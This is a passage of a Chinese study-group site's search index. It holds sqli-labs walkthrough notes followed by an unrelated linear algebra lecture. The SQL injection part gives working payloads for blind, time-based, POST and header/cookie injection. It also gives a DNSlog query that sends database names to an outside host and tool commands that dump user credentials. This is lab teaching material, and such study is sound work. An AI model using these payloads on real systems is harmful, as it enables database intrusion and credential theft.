    7. sql ?id=1' and ascii(substr((select database()),2,1)) > 100 --+

    8. \u4f9d\u6b64\u7c7b\u63a8\u91cd\u590d\u4e4b\u524d\u9898\u76ee\u7684\u65b9\u6cd5

    "},{"location":"salon/basic_sql_injection/#less-9_dnslog","title":"less-9_dnslog","text":""},{"location":"salon/basic_sql_injection/#dnslog","title":"DNSlog \u6e17\u900f","text":"

    DNSLog\u6e17\u900f\u662f\u4e00\u79cd\u5229\u7528DNS\uff08\u57df\u540d\u7cfb\u7edf\uff09\u534f\u8bae\u8fdb\u884c\u653b\u51fb\u548c\u4fe1\u606f\u6536\u96c6\u7684\u6280\u672f\u3002\u5176\u539f\u7406\u57fa\u4e8eDNS\u534f\u8bae\u7684\u7279\u6027\uff0c\u5373\u5c06\u57df\u540d\u89e3\u6790\u4e3aIP\u5730\u5740\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u521b\u5efa\u4e00\u4e2a\u6076\u610f\u7684DNS\u670d\u52a1\u5668\uff0c\u5f53\u53d7\u5bb3\u8005\u7684\u8ba1\u7b97\u673a\u5c1d\u8bd5\u89e3\u6790\u7279\u5b9a\u7684\u57df\u540d\u65f6\uff0cDNS\u670d\u52a1\u5668\u4f1a\u8bb0\u5f55\u8bf7\u6c42\uff0c\u5e76\u5c06\u8bf7\u6c42\u4fe1\u606f\u53d1\u9001\u7ed9\u653b\u51fb\u8005\uff0c\u4ece\u800c\u5b9e\u73b0\u4fe1\u606f\u6536\u96c6\u3002

    \u5f53\u6211\u4eec\u53d1\u9001\u7ed9\u670d\u52a1\u5668\u7684\u4ee3\u7801\u4f1a\u6267\u884c\u4f46\u7f3a\u5c11\u56de\u663e\u7684\u65f6\u5019\uff0cdnslog \u76f8\u5f53\u4e8e\u7ed9\u4e86\u6211\u4eec\u4e00\u4e2a\u56de\u663e\u7684\u7a97\u53e3\u3002\u6211\u4eec\u7684\u76ee\u6807\u5c31\u662f\uff0c\u8ba9\u76ee\u6807\u670d\u52a1\u5668\u628a\u6211\u4eec\u7684\u4ee3\u7801\u6267\u884c\u4ee5\u540e\u7684\u8fd4\u56de\u503c\u548c\u57df\u540d\u8fde\u63a5\u8d77\u6765\uff0c\u5bf9\u6307\u5b9a\u57df\u540d\u8fdb\u884c\u8bbf\u95ee\u4ece\u800c\u7559\u4e0b\u75d5\u8ff9\u3002

    1. \u5728 www.dnslog.cn \u4e2d\u641e\u4e00\u4e2a\u57df\u540d\uff0c\u6bd4\u5982\u8bf4\u8fd9\u91cc\u641e\u5230\u7684\u662f\uff1asy119q.dnslog.cn

    2. \u6784\u9020 sql \u8bed\u53e5\uff1a

    3. sql select load_file(concat(\"//\",(select database()),\".sy119q.dnslog.cn/anyfile.txt\"))

    4. \u6ce8\u610f\uff1a\u4e0d\u8981\u6f0f\u6389\u4e2d\u95f4\u7684 \u201c.\u201d\uff0c\u4e5f\u4e0d\u8981\u5fd8\u4e86\u518d\u6700\u540e\u52a0\u4e00\u4e2a\u6587\u4ef6\u7684\u540d\u5b57\u3002\u770b\u5230\u9875\u9762\u6253\u7740\u8f6c\u8f6c\u5c31\u77e5\u9053\u5927\u6982\u7387\u6210\u529f\u4e86\uff0c\u56e0\u4e3a\u4f60\u7684\u6587\u4ef6\u540d\u662f\u4e71\u586b\u7684\uff0c\u5b83\u4e0d\u53ef\u80fd\u627e\u5f97\u5230

    5. \u70b9\u51fb dnslog \u5237\u65b0\u6309\u94ae\uff0c\u5373\u53ef\u770b\u5230\u76ee\u6807\u670d\u52a1\u5668\u7684\u8bf7\u6c42

    load_file() \u65e2\u53ef\u4ee5\u8bfb\u53d6\u672c\u673a\u6587\u4ef6\uff08\u770b\u5bf9\u65b9\u6709\u6ca1\u6709\u653e\u5f00\u8fd9\u4e2a\u6743\u9650\uff09\uff0c\u4e5f\u53ef\u4ee5\u8bfb\u53d6\u4e92\u8054\u7f51\u4e0a\u7684\u6587\u4ef6

    \u4f3c\u4e4e\u53ea\u80fd\u7528\u4e8ewindows\u670d\u52a1\u5668\u4e0a

    \u53cc\u659c\u6760\u53ef\u4ee5\u6539\u6210 4 \u4e2a\u53cd\u659c\u6760

    \u53cc\u53cd\u659c\u6760\u4ee3\u8868Microsoft Windows\u901a\u7528\u547d\u540d\u7ea6\u5b9a\uff08UNC\uff09\u7684\u6587\u4ef6\u548c\u76ee\u5f55\u8def\u5f84\u683c\u5f0f\u5229\u7528\u4efb\u4f55\u4ee5\u4e0b\u6269\u5c55\u5b58\u50a8\u7a0b\u5e8f\u5f15\u53d1DNS\u5730\u5740\u89e3\u6790\uff0c4 \u4e2a\u53cd\u659c\u6760\u662f\u56e0\u4e3a\u8003\u8651\u8f6c\u4e49\u56e0\u7d20

    \u9700\u8981\u6253\u5f00\u6587\u4ef6\u8bfb\u5199\u6743\u9650

    "},{"location":"salon/basic_sql_injection/#less-9_dnslogsqlinj","title":"less-9_dnslogsqlinj","text":""},{"location":"salon/basic_sql_injection/#dnslogsqlinj","title":"\u4f7f\u7528\u811a\u672c DnslogSqlinj","text":"
    python2 dnslogSql.py -u \"http://192.168.216.134/sqli-labs-php7/Less-9/?id=1' and ({})--+\" --dbs\npython2 dnslogSql.py -u \"http://192.168.216.134/sqli-labs-php7/Less-9/?id=1' and ({})--+\" -D security --tables\npython2 dnslogSql.py -u \"http://192.168.216.134/sqli-labs-php7/Less-9/?id=1' and ({})--+\" -D security -T users --columns\npython2 dnslogSql.py -u \"http://192.168.216.134/sqli-labs-php7/Less-9/?id=1' and ({})--+\" -D security -T users -C username,password --dump\n

    \u8fc7\u65f6\u7684\u811a\u672c\uff0c\u591a\u5e74\u672a\u7ef4\u62a4\uff0c\u5e94\u8be5\u8fd8\u662f\u53bb\u7528 sqlmap \u6bd4\u8f83\u597d

    "},{"location":"salon/basic_sql_injection/#less-9_time","title":"less-9_time","text":""},{"location":"salon/basic_sql_injection/#_10","title":"\u65f6\u95f4\u76f2\u6ce8","text":"

    \u5565\u56de\u663e\u90fd\u6ca1\u6709\uff0c\u751a\u81f3\u6ca1\u6709\u771f\u5047\u503c\u7684\u533a\u522b\uff0c\u800c\u7f51\u7ad9\u4f1a\u6267\u884c\u4f60\u5199\u7684\u4ee3\u7801\uff0c\u6b64\u65f6\u53ef\u4ee5\u4f7f\u7528\u65f6\u95f4\u76f2\u6ce8

    select if(ascii(substr((select database()),1,1))>100, sleep(0), sleep(3))\n

    \u5176\u4e2d if \u51fd\u6570\uff1a

    if(condition, True, False)\n

    \u6761\u4ef6\u5f0f\u4e3a\u771f\u65f6\u6267\u884c True \u8bed\u53e5\uff0c\u6761\u4ef6\u5f0f\u4e3a\u5047\u65f6\u6267\u884c False \u8bed\u53e5\uff0c\u4ece\u800c\u8fbe\u5230\u5224\u65ad\u7684\u6548\u679c

    "},{"location":"salon/basic_sql_injection/#less-11_post","title":"less-11_post","text":""},{"location":"salon/basic_sql_injection/#post","title":"post \u6ce8\u5165","text":"
    1. \u7528 burp suite \u6293\u5305\u67e5\u770b\u63d0\u4ea4\u4fe1\u606f
    1. \u770b\u5230\u63d0\u4ea4\u7684\u53c2\u6570\u5206\u522b\u662f uname passwd submit

    2. \u5176\u5b9e submit \u6ca1\u5fc5\u8981\u63d0\u4ea4\uff0c\u800c\u4e14\u7531\u4e8e\u8fd9\u4e2a submit \u548c form \u4e2d\u7684 submit \u91cd\u540d\u4e86\uff0c\u5982\u679c\u63d0\u4ea4\u53cd\u800c\u4f1a\u62a5\u9519\u5931\u8d25

    3. \u5728 hackbar \u4e0a\u8fdb\u884c post \u6ce8\u5165\uff1auname=admin' or 1=1#&passwd=111

    4. \u5982\u679c\u60f3\u83b7\u53d6\u6570\u636e\u5e93\u76f8\u5173\u4fe1\u606f\uff0c\u5728\u5355\u5f15\u53f7\u548c # \u4e4b\u95f4\u8fdb\u884c union \u6ce8\u5165\u5373\u53ef

    "},{"location":"salon/basic_sql_injection/#less-18_uagent","title":"less-18_uagent","text":""},{"location":"salon/basic_sql_injection/#burp-suite-header-injection","title":"\u4f7f\u7528 Burp Suite \u8fdb\u884c Header Injection","text":"
    1. \u9996\u5148\u6211\u4eec\u9700\u8981\u4e89\u53d6\u5230\u4e00\u4e2a username \u548c password

    2. \u770b\u5230\u9875\u9762\u8fd4\u56de\u4e86 User Agent :

    3. \u67e5\u770b php \u6e90\u7801\u5f97\u77e5\u6ce8\u5165\u70b9\u5c31\u5728 $uagent

    4. php $insert=\"INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)\";

    5. \u5148\u7528 Burp Suite \u62e6\u622a\uff0c\u4fee\u6539 User-Agent \u540e\u518d\u5411\u670d\u52a1\u5668\u53d1\u9001\u8bf7\u6c42

    6. \u5229\u7528\u62a5\u9519\u4fe1\u606f\u5f97\u5230\u671f\u671b\u7684\u6570\u636e\u5e93\u4fe1\u606f

    7. User-Agent: 1'or updatexml(1,concat('~',(select database())),3),2,3)#

    "},{"location":"salon/basic_sql_injection/#less-19_referer","title":"less-19_referer","text":""},{"location":"salon/basic_sql_injection/#burp-suite-header-injection_1","title":"\u4f7f\u7528 Burp Suite \u8fdb\u884c Header Injection","text":"

    \u8ddf less-18 \u51e0\u4e4e\u4e00\u6837\uff0c\u53ea\u662f\u6ce8\u5165\u4f4d\u7f6e\u4ece user-agent \u5230\u4e86 referer

    "},{"location":"salon/basic_sql_injection/#less-20_cookie","title":"less-20_cookie","text":""},{"location":"salon/basic_sql_injection/#burp-suite-header-injection_2","title":"\u4f7f\u7528 Burp Suite \u8fdb\u884c Header Injection","text":"
    $cookee = $_COOKIE['uname'];\n$format = 'D d M Y - H:i:s';\n$timestamp = time() + 3600;\necho \"<center>\";\necho '<br><br><br>';\necho '<img src=\"../images/Less-20.jpg\" />';\necho \"<br><br><b>\";\necho '<br><font color= \"red\" font size=\"4\">';   \necho \"YOUR USER AGENT IS : \".$_SERVER['HTTP_USER_AGENT'];\necho \"</font><br>\"; \necho '<font color= \"cyan\" font size=\"4\">';  \necho \"YOUR IP ADDRESS IS : \".$_SERVER['REMOTE_ADDR'];           \necho \"</font><br>\";         \necho '<font color= \"#FFFF00\" font size = 4 >';\necho \"DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>\";\necho '<font color= \"orange\" font size = 5 >';           \necho \"YOUR COOKIE : uname = $cookee and expires: \" . date($format, $timestamp);\n
    echo \"<br></font>\";\n$sql=\"SELECT * FROM users WHERE username='$cookee' LIMIT 0,1\";\n$result=mysqli_query($con1, $sql);\nif (!$result)\n{\n    die('Issue with your mysql: ' . mysqli_error($con1));\n}\n$row = mysqli_fetch_array($result, MYSQLI_BOTH);\n

    \u7531\u4ee3\u7801\u7247\u6bb5\u77e5\u53d8\u91cf $cookee \u53ef\u4ee5\u8fdb\u884c\u6ce8\u5165\uff0c\u800c $cookee \u53d8\u91cf\u53c8\u662f\u4ece $cookee = $_COOKIE['uname']; \u8bbe\u7f6e\u7684

    \u6545\u5148\u5bf9\u7f51\u9875\u8fdb\u884c\u62e6\u622a\uff0c\u518d\u4fee\u6539 cookie \u503c\u8fdb\u884c\u62a5\u9519\u6ce8\u5165

    Cookie: uname=admin' or updatexml(1,concat('~',(select database())),3)#\n

    2024-05-13\u2003\u2003 Contributors

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/","title":"20240204","text":"

    \u5185\u5bb9\uff1a\u7ebf\u6027\u4ee3\u6570\u7684\u5e94\u7528\uff0c\u5305\u542b\uff08\u8ba1\u7b97\u673a\u56fe\u5f62\u5b66\uff0c\u7b97\u6cd5\uff0c\u5bc6\u7801\u5b66\u7684\u76f8\u5173\u5185\u5bb9\uff09

    \u524d\u7f6e\u57fa\u7840\uff1a\u77e9\u9635\u4e58\u6cd5

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#arithmetic-algebra-algorithm","title":"\u7b97\u672f\uff0c\u4ee3\u6570\uff0c\u7b97\u6cd5 | arithmetic, algebra, algorithm","text":"

    \u5148\u7b80\u5355\u7684\u5f15\u5165\u4e00\u4e0b\uff0c\u4ece\u5c0f\u5b66\u7684 \u7b97\u672f \u5230\u4e2d\u5b66\u7684 \u4ee3\u6570 \u8fd9\u4e24\u8005\u4e4b\u95f4\u7684\u5dee\u522b\u3002

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    \u7b97\u6cd5\u662f\u4e00\u79cd\u81ea\u52a8\u5de5\u4f5c\u7684\u6d41\u7a0b\uff0c\u6309\u7167\u5c0f\u6b65\u5de5\u4f5c\u8fdb\u884c\u81ea\u52a8\u8fd0\u7b97\u3002 \u6bd4\u5982\u4e0b\u9762\u8fd9\u9053\u9898\u76ee\u3002 \u9898\u76ee\uff1a Problem - B - Codeforces

    \u8fd9\u662f Codeforces \u5468\u8d5b div2 \u7684\u4e00\u9053\u9898\u76ee\uff0c\u6bd4\u8f83\u7b80\u5355\uff0c\u5927\u5bb6\u53ef\u4ee5\u7b80\u5355\u7684\u601d\u8003\u4e00\u4e0b

    \u82f1\u6587\u770b\u7740\u5f88\u957f\uff0c\u5b9e\u9645\u9898\u76ee\u5f88\u7b80\u5355\uff0c\u6709 n \u4e2a\u5f00\u5173\u548c m \u76cf\u706f\uff0c\u53ea\u8981\u5b58\u5728\u4e00\u4e2a\u63a7\u5236\u8fd9\u4e2a\u706f\u662f\u5f00\u7740\u7684\u8fd9\u4e2a\u7b49\u5c31\u4f1a\u88ab\u70b9\u4eae\u3002 \u7136\u540e\u7ed9\u4f60 01 \u77e9\u9635\uff0c\u8868\u793a n \u4e2a\u5f00\u5173\u63a7\u5236 m \u76cf\u706f\uff0c\u884c\u5217\u4e3a 1 \u8868\u793a\u53ef\u4ee5\u8ba9\u706f\u4eae\u7740\uff0c\u95ee\u4f60\u80fd\u5426\u5220\u6389\u4e00\u4e2a\u5f00\u5173\uff0c\u4f7f\u5f97\u6240\u6709\u706f\u88ab\u70b9\u4eae\u3002

    \u601d\u8def\u60f3\u5230\u7684\u5f88\u7b80\u5355\uff0c\u5bf9\u4e8e\u6bcf\u4e00\u884c\u6c42\u548c\uff0c\u5982\u679c\u5bf9\u4e8e\u6bcf\u4e00\u884c\uff0c\u5982\u679c\u53bb\u6389\u67d0\u4e00\u884c\u540e\u8fd9\u4e00\u5217\u7684\u548c\u53d8\u6210 0 \uff0c\u8bf4\u660e\u6709\u706f\u4e0d\u80fd\u5220\u6389\uff0c\u4e00\u4e2a\u7b80\u5355\u7684\u679a\u4e3e\u6cd5\uff0c\u6bcf\u4e00\u6b21\u68c0\u6d4b\u5f00\u5173\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f \\(O(mn)\\)\uff0c\u6240\u4ee5\u603b\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u662f\\(O(mn^2)\\)\uff0c\u521a\u597d\u591f \\(3s\\) \u7684\u65f6\u95f4\u9650\u5236\u3002\u5f53\u7136\uff0c\u53ef\u4ee5\u7528\u524d\u7f00\u548c\u6216\u8005\u4f4d\u8fd0\u7b97\u7684\u5947\u6280\u6deb\u5de7\u8fdb\u884c\u590d\u6742\u5ea6\u964d\u4f4e\uff0c\u8fd9\u91cc\u4e0d\u8fdb\u884c\u5c55\u5f00\u3002

    \u90a3\u4e48\u8fd9\u4e2a\u601d\u8def\u4ece\u7ebf\u6027\u4ee3\u6570\u7684\u89d2\u5ea6\u600e\u4e48\u770b\u5462\u2026\u2026 \u5c31\u662f\u6c42\u7ebf\u6027\u65e0\u5173\u7ec4\uff0c\u5982\u679c\u5728\u7ebf\u6027\u65e0\u5173\u7ec4\u91cc\u9762\u5c31\u662f NO\uff0c\u5982\u679c\u4e0d\u5728\u7ebf\u6027\u65e0\u5173\u7ec4\u91cc\u9762\u5c31\u662f YES\uff0c\u5f53\u7136\u7ebf\u6027\u65e0\u5173\u7ec4\u5728\u8fd9\u91cc\u662f\u552f\u4e00\u7684\u3002

    \u7ebf\u6027\u65e0\u5173\u7ec4\u4ee3\u8868\u6ca1\u6709\u5197\u4f59\u7684\u4fe1\u606f\uff0c\u8fd9\u4e9b\u4fe1\u606f\u90fd\u662f\u7ebf\u6027\u65e0\u5173\u7684\uff0c\u4e5f\u5c31\u662f\u5411\u91cf\u4e4b\u95f4\u65e0\u6cd5\u7528\u5f7c\u6b64\u4e4b\u95f4\u76f8\u4e92\u8868\u8fbe\u7684\u542b\u4e49\uff0c\u56e0\u6b64\uff0c\u5728\u9898\u76ee\u91cc\uff0c\u5c31\u662f\u68c0\u6d4b\u6709\u6ca1\u6709\u5f00\u5173\u662f\u5197\u4f59\u7684\u3002

    \u6e90\u7801\u5b9e\u73b0\u53ef\u4ee5\u53c2\u8003 Python numpy \u91cc\u9762\u7684 matrix_rank \u51fd\u6570\u5b9e\u73b0\u3002\u5728 \\(linalg/\\_linalg.py\\) \u76ee\u5f55\u4e0b\u7684 \\(1973\\) \u884c

    \u8fd9\u662f\u7ebf\u6027\u4ee3\u6570\u7684\u601d\u60f3\u5728\u7b97\u6cd5\u7ade\u8d5b\u91cc\u7684\u4e00\u4e2a\u7b80\u5355\u5e94\u7528\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#linear-arithmetic","title":"\u7ebf\u6027\u7b97\u672f | Linear Arithmetic","text":"

    \u7565\u8fc7\u57fa\u7840\u6027\u7684\u5411\u91cf\u52a0\u51cf\u8fd0\u7b97\uff0c\u6211\u4eec\u5148\u91cd\u65b0\u590d\u4e60\u4e00\u4e0b\u6570\u4e58\u3002 $$ 2 \\times\\begin{bmatrix}1\\\\2\\end{bmatrix} = \\begin{bmatrix}2\\\\4\\end{bmatrix} $$ \u4ec0\u4e48\u610f\u601d\uff0c\u8fd9\u662f\u4e00\u4e2a\u51e0\u4f55\u4e0a\u7684\u4f38\u7f29\u8fd0\u7b97\uff0c\u628a\u539f\u6765\u7684\u5411\u91cf\u62c9\u4f38\u4e86 \\(2\\) \u500d\uff0c\u7531\u6b64\u5f15\u5230\u6211\u4eec\u7ebf\u6027\u53d8\u6362\u7684\u5185\u5bb9\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#linear-transformation","title":"\u7ebf\u6027\u53d8\u6362 | Linear Transformation","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_3","title":"\u7ebf\u6027\u4ee3\u6570\u7684\u4e00\u4e9b\u5e94\u7528","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#computer-graphics","title":"\u8ba1\u7b97\u673a\u56fe\u5f62\u5b66 | Computer Graphics","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_4","title":"\u70b9\u4e58\u7684\u4f5c\u7528","text":"

    \u7531\u4e8e\u4e0d\u60f3\u753b\u56fe\u4e86\uff0c\u6240\u4ee5\u865a\u7a7a\u5730\u8bb2\u4e00\u4e0b\u3002 \u70b9\u4e58\u5728\u8ba1\u7b97\u673a\u56fe\u5f62\u5b66\u9886\u57df\u4e3b\u8981\u7528\u4e8e\u6c42\u89e3\u4e24\u4e2a\u5411\u91cf\u4e4b\u95f4\u7684\u89d2\u5ea6\u3002\u53ef\u4ee5\u60f3\u4e00\u60f3\u8fd9\u4e2a\u89d2\u5ea6\u6709\u4ec0\u4e48\u7528\u3002

    \u5411\u91cf\u662f\u4e00\u4e2a\u5373\u6709\u5927\u5c0f\u53c8\u6709\u65b9\u5411\u7684\u91cf\uff0c\u4f46\u662f\u8ba1\u7b97\u673a\u5185\u90e8\u662f\u6ca1\u6709\u65b9\u5411\u7684\u8fd9\u4e2a\u6982\u5ff5\u7684\uff0c\u6240\u4ee5\u7528\u4e00\u4e2a\u53ef\u4ee5\u91cf\u5316\u7684\u89d2\u5ea6\u53bb\u8868\u793a\u5411\u91cf\u4e4b\u95f4\u7684\u65b9\u5411\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_5","title":"\u53c9\u4e58\u7684\u4f5c\u7528","text":"

    \u8fd9\u91cc\u4e0d\u590d\u4e60\u76f8\u5173\u7684\u5b9a\u4e49\u95ee\u9898\uff0c\u4f46\u662f\u6709\u4e00\u4e9b\u57fa\u672c\u7684\u5e38\u8bc6\u6027\u6982\u5ff5\u3002 $$ \\vec x \\times \\vec y = \\vec z \\quad \\vec y \\times \\vec x = -\\vec z $$ \u8fd9\u6709\u4ec0\u4e48\u4f5c\u7528\u5462\uff0c\u6bd4\u5982\u5728\u6e32\u67d3\u7684\u65f6\u5019\u6211\u53ef\u4ee5\u753b\u4e00\u4e2a\u4e09\u89d2\u5f62\uff0c\u7136\u540e\u7528\u5411\u91cf\u7684\u53c9\u4e58\u5feb\u901f\u5224\u65ad\u8fd9\u4e2a\u70b9\u662f\u4e0d\u662f\u5728\u4e09\u89d2\u5f62\u5185\u90e8\u3002\uff08\u53ef\u4ee5\u6269\u5c55\u5230\u4efb\u610f\u51f8\u5305\uff0c\u6c42\u51f8\u5305\u7684\u76f8\u5173\u7b97\u6cd5\u53ef\u4ee5\u7528\u70b9\u4e58\uff0c\u8be6\u60c5\u53c2\u8be2https://oi-wiki.org/geometry/convex-hull/\uff09

    \u8fd9\u91cc\u6211\u4eec\u8ba1\u7b97\u53c9\u4e58\u901a\u5e38\u4f7f\u7528\u53f3\u624b\u7cfb\uff0c\u4f46\u662f\u5728 UE4 \u548c OpenGL \u4e2d\u4f7f\u7528\u7684\u662f\u5de6\u624b\u7cfb\uff0c\u95ee\u9898\u4e0d\u5927\uff0c\u7ffb\u8f6c\u4e00\u4e0b\u5c31\u53ef\u4ee5\u4e86\u3002 \u5411\u91cf\u7684\u53c9\u4e58\u548c\u5411\u91cf\u7684\u70b9\u4e58\u90fd\u53ef\u4ee5\u5199\u6210\u77e9\u9635\u4e58\u6cd5\u7684\u5f62\u5f0f\uff0c\u53ef\u4ee5\u601d\u8003\u4e00\u4e0b\u600e\u4e48\u4e2a\u4e00\u56de\u4e8b\u3002\uff08\u63d0\u793a\uff1a\u4f34\u968f\u77e9\u9635\uff09

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_6","title":"\u771f\u6b63\u7684\u53d8\u6362\u4e13\u573a","text":""},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_7","title":"\u7f29\u653e\u53d8\u6362","text":"

    \u6a2a\u8f74\u548c\u7eb5\u8f74\u90fd\u53d8\u6210\u4e86\u539f\u6765\u7684 \\(\\frac{1}{2}\\) \u7528\u6570\u5b66\u7684\u8bed\u8a00\u8868\u8fbe\u5462\u5982\u4e0b $$ x^{'} = sx \\quad y^{'} = sy $$ \u4f5c\u4e3a\u4e00\u4e2a\u5b66\u8fc7\u7ebf\u6027\u4ee3\u6570\u7684\u4eba\u5462\uff0c\u9700\u8981\u5b66\u4f1a\u628a\u8fd9\u4e2a\u8f6c\u6362\u6210\u4e3a\u77e9\u9635\u5f62\u5f0f\uff0c\u5c31\u6bd4\u5982\u8fd9\u4e2a\u6837\u5b50 $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\end{bmatrix}=\\begin{bmatrix}s & 0\\\\0&s\\end{bmatrix}\\begin{bmatrix}x\\ y\\end{bmatrix} $$

    \u5f53\u7136\uff0c\u4e5f\u53ef\u4ee5\u4e0d\u5747\u5300\u7684\u7f29\u653e\uff0c\u6bd4\u5982 \\(x\\) \u548c \\(y\\) \u4e00\u4e2a\u7f29\u5c0f\u5230 \\(\\frac{1}{2}\\)\uff0c\u4e00\u4e2a\u4fdd\u6301\u4e0d\u53d8\u3002 $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\end{bmatrix}=\\begin{bmatrix}s_x & 0\\\\0&s_y\\end{bmatrix}\\begin{bmatrix}x\\ y\\end{bmatrix} $$

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_8","title":"\u5bf9\u79f0\u53d8\u6362","text":"

    \u5b66\u8fc7\u8fd1\u4e16\u4ee3\u6570\u7684\u540c\u5b66\u5e94\u8be5\u90fd\u77e5\u9053\uff0c\u77e9\u9635\u8fd0\u7b97\u65f6\u975e\u5e38\u7b26\u5408\u7fa4\u8fd9\u4e2a\u4e1c\u897f\u7684\u5b9a\u4e49\u7684\uff0c\u4f46\u662f\u5982\u679c\u4ece\u9ad8\u4e2d\u6570\u5b66\u63a8\u5bfc\u8fc7\u6765\u5462\uff0c\u7fa4\u4e00\u5f00\u59cb\u8bde\u751f\u5c31\u662f\u4e3a\u4e86\u63cf\u8ff0\u5bf9\u79f0\u6027\u8fd9\u4e2a\u4e1c\u897f\u7684\u3002\u6240\u4ee5\u77e9\u9635\u5e94\u8be5\u662f\u5f88\u8f7b\u677e\u7684\u5c31\u80fd\u628a\u5bf9\u79f0\u8fd9\u4e2a\u4e1c\u897f\u7ed9\u63cf\u8ff0\u51fa\u6765\u7684\u3002

    \u63d0\u793a\uff1a\u53ef\u4ee5\u770b\u6210\u662f\u7f29\u653e\u7684\u7279\u6b8a\u60c5\u51b5\u3002

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#sheer","title":"\u5207\u53d8\u6362 | Sheer","text":"

    $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\end{bmatrix}=\\begin{bmatrix}1 & a\\\\0&1\\end{bmatrix}\\begin{bmatrix}x\\ y\\end{bmatrix} $$

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_9","title":"\u65cb\u8f6c\u53d8\u6362","text":"

    $$ R_\\theta = \\begin{bmatrix}\\cos \\theta & -\\sin\\theta\\\\sin\\theta&\\cos\\theta\\end{bmatrix} $$

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_10","title":"\u8fdb\u884c\u4e00\u4e9b\u5c0f\u603b\u7ed3","text":"

    \u53ef\u4ee5\u53d1\u73b0\u4e0a\u8ff0\u6240\u6709\u53d8\u6362\u90fd\u53ef\u4ee5\u5199\u6210\u5f62\u5982 \\(\\(x^{'}=ax+by\\quad y^{'}=cx+dy\\)\\) \u8f6c\u6362\u6210\u4e3a\u77e9\u9635\u5f62\u5f0f\u4e5f\u5c31\u662f $$ \\begin{bmatrix}x^{'}\\\\y^{'}\\end{bmatrix} = \\begin{bmatrix}a & b\\\\c&d\\end{bmatrix}\\begin{bmatrix}x\\ y\\end{bmatrix} $$

    "},{"location":"salon/%E7%BA%BF%E6%80%A7%E4%BB%A3%E6%95%B0%E5%9C%A8%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%9A%84%E4%B8%80%E4%BA%9B%E5%BA%94%E7%94%A8/#_11","title":"\u5e73\u79fb","text":"

